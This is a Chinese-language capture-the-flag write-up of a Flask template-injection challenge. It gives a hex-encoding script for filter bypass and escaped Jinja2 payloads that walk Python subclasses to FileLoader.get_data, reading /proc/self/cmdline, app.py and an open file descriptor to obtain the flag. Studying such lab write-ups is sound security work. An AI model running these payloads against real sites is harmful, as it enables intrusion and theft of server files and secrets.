根据题目我们可以知道这是一道Flask SSTI的题。
打开后允许我们输入东西,会返回用奇怪字符包裹的昵称。
我们试一下{{2*2}},然后返回4。这里存在这SSTI。
这里过滤了很多东西,就不在一一测试,使用十六进制进行绕过.
#转16进制py脚本
code = "/proc/self/fd/1"
ssti = ""
length = len(code)
for i in range(length):
ssti += "\\x" + hex(ord(code[i]))[2:]
print(ssti)
__class__ __base__
__subclasses__使用这三个来
选可用的对象和调用函数
{{[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()}}
调用这个类<class '_frozen_importlib_external.FileLoader'>
{{[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[91]["\x67\x65\x74\x5f\x64\x61\x74\x61"](0,"/proc/self/cmdline")}}
发现现在运行的程序时app.py
{{[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[91]["\x67\x65\x74\x5f\x64\x61\x74\x61"](0,"app\x2epy")}}
获得程序源码 可以推出flag所在位置
{{[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[91]["\x67\x65\x74\x5f\x64\x61\x74\x61"](0,"/proc/self/fd/3")}}